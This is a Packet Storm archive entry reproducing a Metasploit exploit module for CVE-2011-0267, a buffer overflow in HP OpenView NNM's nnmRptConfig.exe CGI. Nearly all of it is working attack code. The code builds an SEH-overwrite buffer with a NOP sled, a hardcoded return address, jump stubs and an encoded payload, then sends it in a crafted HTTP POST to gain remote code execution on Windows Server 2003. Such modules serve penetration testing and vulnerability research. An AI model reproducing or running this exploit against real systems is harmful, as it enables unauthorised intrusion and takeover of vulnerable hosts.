HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow

2011-03-24T00:00:00
ID PACKETSTORM:99675
Type packetstorm
Reporter sinn3r
Modified 2011-03-24T00:00:00

Description

                                        
                                            `##  
# $Id: hp_nnm_nnmrptconfig_schdparams.rb 12116 2011-03-23 21:35:13Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",  
'Description' => %q{  
This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,  
the overflow occurs during a ov.sprintf_new() call, which allows an attacker to  
overwrite data on the stack, and gain arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 12116 $",  
'Author' => ['sinn3r'],  
'References' =>  
[  
['CVE', '2011-0267'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x26\x2b",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "seh",  
'AutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'NNM 7.53 - Windows Server 2003 Ent', {  
'Ret' => 0x5A30532D, #POP/POP/RET OvWww.dll  
'Offset' => 46919, #Offset to SEH chain  
'Pops' => 13, #Number of POPADs needed to find a bigger space with our payload  
'Payloadoffset' => 57, #Offset to the payload  
}],  
],  
'DisclosureDate' => "Jan 10 2011"))  
  
register_options( [Opt::RPORT(80)], self.class )  
end  
  
def exploit  
nops = make_nops(1000)*70  
  
sploit = nops[0, target['Offset']]  
sploit << generate_seh_record(target.ret)  
sploit << "\x61"*target['Pops']  
sploit << "\xff\xe1" #JMP ECX  
sploit << nops[0, target['Payloadoffset']]  
sploit << payload.encoded  
sploit << "\x44"*(70000-sploit.length)  
  
data = "Content&Action=Create&"  
data << "Template=Avail/CRAvail&"  
data << "Operation=Apply&"  
data << "Params=schdParams+nameParams&"  
data << "schdParams=#{sploit}%7Cmonthtodate&"  
data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"  
  
connect  
send_request_raw({  
'uri' => '/OvCgi/nnmRptConfig.exe',  
'data' => data,  
'version' => '1.1',  
'method' => 'POST',  
'headers' => {  
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
'Accept-Language' => 'en-us,en;q=0.5',  
'Accept-Encoding' => 'gzip,deflate',  
'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',  
'Keep-Alive' => '300',  
'Connection' => 'Keep-Alive',  
'Cache-Control' => 'mag-age=0',  
'Content-Length' => data.length,  
'Content-Type' => 'application/x-www-form-urlencoded',  
}  
}, 3)  
  
handler  
disconnect  
end  
end`